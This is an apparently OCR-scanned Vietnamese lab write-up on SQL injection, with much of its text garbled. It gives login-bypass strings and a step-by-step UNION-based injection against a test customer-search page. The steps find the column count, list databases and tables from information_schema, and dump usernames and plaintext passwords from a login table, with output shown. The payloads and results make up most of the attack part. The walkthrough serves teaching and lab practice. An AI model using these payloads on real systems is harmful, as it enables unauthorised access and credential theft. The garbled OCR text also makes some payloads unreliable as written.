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Lab - SQL Injection

1. sSQL Injection la gi?
SQL Injection la kiéu khai thac 16 héng bdo mat, ké tan cdng sé dién cac code SQL vao hop
input tir form Web v&i muc dich 1a truy cap cac tai nguyén trai phép dé xem, thém, thay doi
hay xéa cac dit liéu nhay cdm. Ung dung web s& thuc thi cdc cau truy van bang cu phdp SQL
b&i app cong vdi dir liéu nguwdi dung nhap nhu hinh dudi.

SELECT * FRON Users WHERE Userane LIKE Hantosk’
| I L]
| |
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Trong cau truy van & trén, phan thit nhat sé khong duoc hién thi cho ngudi dung. Ung dung
s& gUri ciu truy van tdi database & sau hau truong. Phan thir hai sé do ngudi dung nhap
trong form web. Néu rng dung khéng loc dit liéu ngudi dung nhap thi ké tan cong cé thé lgi
dung dé& lam cho ciu |énh SQL nguyén ban thuec thi nhitng hanh déng khac trong co s& dir
lieu.

Mot trong nhirng buwdc dau tién khi tim cac 16 hdng SQL Injection 13 hiéu khi nao &ng dung

s& tuong tac vai database. Vi du nhu trong form dang nhép, thanh tim kiém va cac trang

web thuong mai dién tir.

2. Cacloai tan cong SQL Injection:

- In-band SQL injection: ké tan cdng thu thap théng tin s& dung chung kénh thudng dung
dé tiém nhiém SQL code. Pay | kiéu thwong gdp nhat khi dit liéu dugc nhap truc tiép
vao trang web.

- Out-band SQL Injection: ké t4n cong s& nhan dit liéu tir kénh truyén khéc. Vi du nhw
email, vn ban hoac tin nhan cé thé bi glti d&€n cho ké tan cong véi két qua cla cau truy
van.

- Blind (or inferential) SQL injection: ké tan cdng khéng khién cho &rng dung hién thj hoic
trao déi bat ky dit liéu nao ma thu thap thdng tin phan hdi va hanh vi.

3. Login bypass:
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Login

Username:

| Usemame |

Password:

| Password |

Login

- Username:1'or'l'='1 Password:1'or'1l'="1
- Username: admin’#

- Username: admin’ or ‘1’="1

4. Form tim kiém:

Tim khach hang

Nguyen Van A ‘

Tim kiem |
Ma khach hang Ho ten Dia chi So dien thoai Ngay sinh Ngay dang ky Doanh so
KHOL Nguyen Van A|731 Tran Hung Dao. Q5, TpHCM||8823451 1960-10-22 00:00:00{(1980-10-02 00:00:0013060000.0

Back

4.1.Tim kiém trong database:

\ Van

K&t qua: ching ta s& nhan duoc tat ca cac khach hang cé tir ‘Van’ trong Ho ten

Tim khach hang

Van

Tim kiem

Ma khach hang Ho ten Dia chi So dien thoai Ngay sinh Ngay dang ky Doanh so
KHO01 (Nguyen Van A|\731 Tran Hung Dao, Q5. TpHCM (8823451 1960-10-22 00:00:00(1980-10-02 00:00:00(13060000.0
KHO02 Tran Van B |23/5 Nguyen Trai, Q5, TpHCM 908256478  ||1960-10-11 00:00:00|(1980-10-02 00:00:00|(280000.0
KHO03 Nguyen Van C||45 Nguyen Canh Chan, Q1. TpHCM|938776266  |1960-11-11 00:00:00|{1980-10-02 00:00:00(3860000.0
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4.2. Xem thir trang c6 thé tiém nhiém khong:

K&t qua: hién thij 16i ci phap SQL

Tim khach hang

Tim kiem ‘

‘Ma khach hang"Hu tenHDia chiHSo dien lhoai”l\'gay sinhHNgay dang kyHDmulh so”

Error: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%" at line 1")

4.3. Tim s6 lwong cdt ton tai:
“order by 7 -- -

Két qua:

#cd thé thir tir 1-7 do cb 7 cot

Tim khach hang

‘order by 5 - -

Tim kiem

Ma khach hang Ho ten Dia chi So dien thoai Ngay sinh Ngay dang ky Doanh so

KHO02 Tran Van B 23/5 Nguyen Tral, Q5, TpHCM 908256478  |1960-10-11 00:00:001980-10-02 00:00:00(280000.0

KHO1 Nguyen Van A ||731 Tran Hung Dao, Q5, TpHCM  ||8823451 1960-10-22 00:00:00(1980-10-02 00:00:00{/13060000.0

KHO03 Nguyen Van C |45 Nguyen Canh Chan, Q1, TpHCM|938776266  (|1960-11-11 00:00:00(1980-10-02 00:00:00|(3860000.0

KHO04 Tran Minh Long(50/34 Le Dai Hanh, Q10, TpHCM 917325476 ||1968-10-05 00:00:00{{1980-10-02 00:00:00/250000.0

KHOS Le Nhat Minh (34 Truong Dinh, Q3. TpHCM 8246108 1980-10-02 00:00:001982-10-06 00:00:00|(21000.0
#NEu thir 8

Tim khach hang

"orderby 8 - -

Tim kiem |

|Ma khach hang”Ho tenHDia chi”So dien thoai”Ngay sinh”Nga}_-‘ dang ky

Doanh so”

Error: (1054, "Unknown column '8' in 'order clause'™)

4.4.

L3y tén database hién tai :

‘ "and 1=0 union all select 1,2,database(),4,5,6,7 -- -
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Két qua:

Tim khach hang

"and 1=0 union all select 1,2 database(),4,5,6,7 -- -
Tim kiem |

Ma khach hang|Ho ten||Dia chi||So dien thoai|Ngay sinh|[Ngay dang ky|Doanh so
1 2 testl |4 5 6 7.0

Back

4.5. Lay thong tin tat ca database va tat ca cac bang trong database:

"and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from
information_schema.tables where table_schema != 'mysql' and table_schema !=
'information_schema' -- -

. 2
Két qua:
1 sys x$waits_by_user_by_latency 4 5 6 7.0
1 sys x$waits_global_by_latency 4 5 6 7.0
1 testl cthds 4 5 6 7.0
1 testl dropl 4 5 6 7.0
1 testl hoadons 4 5 6 7.0
1 testl loaisps 4 5 6 7.0
1 testl sanphams 4 5 6 7.0
1 testl ttdangnhaps 4 5 6 7.0
1 testl users 4 5 6 7.0
1 world city 4 5 6 7.0
1 world country 4 5 6 7.0
1 world countrylanguage 4 5 6 7.0

4.6. Lay cac tén cot trong bang:

"and 1=0 union all select 1,table_name, column_name,4,5,6,7 from

information_schema.columns where table_schema !="'mysql' and table_schema !=

'information_schema' and table_schema="test1' and table_name="ttdangnhaps' -- -
Két qua:
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Tim khach h

"and 1=0 union all select 1 table name, column_name,4,5,6,7 from information_schema.columns where table schema I= 'mysql’
Tim kiem

Ma khach hang|| Ho ten Dia chi So dien thoai|Ngay sinh|Ngay dang ky||Doanh so

1 ttdangnhaps|username 4 5 6 7.0

1 trdangnhaps||passwd 4 5 6 7.0

1 ttdangnhaps|[KHACHHANG MAKH|4 5 6 7.0

4.7. L3y tat ca théng tin trong bang:

\ "and 1=0 union all select 1, KHACHHANG_MAKH,username,passwd,5,6,7 from ttdangnhaps-- - |
Két qua:

Tim khach hang

"and 1=0 union all select 1 KHACHHANG_MAKH username passwd 56,7 from ttdangnhaps-- -

Tim kiem

Ma khach hang|Ho ten|| Dia chi So dien thoai |Ngay sinh|Ngay dang ky|Doanh so
It KHO! |nguyenvana|nguyenvanal23|5 7.0

1 KHO2 |tranvanb  |tranvanb456 5 6 7.0

L KHO3 |[nguyenvanc|nguyenvanc789|5 6 7.0

1 KHO04 |admin admin 5 6 7.0
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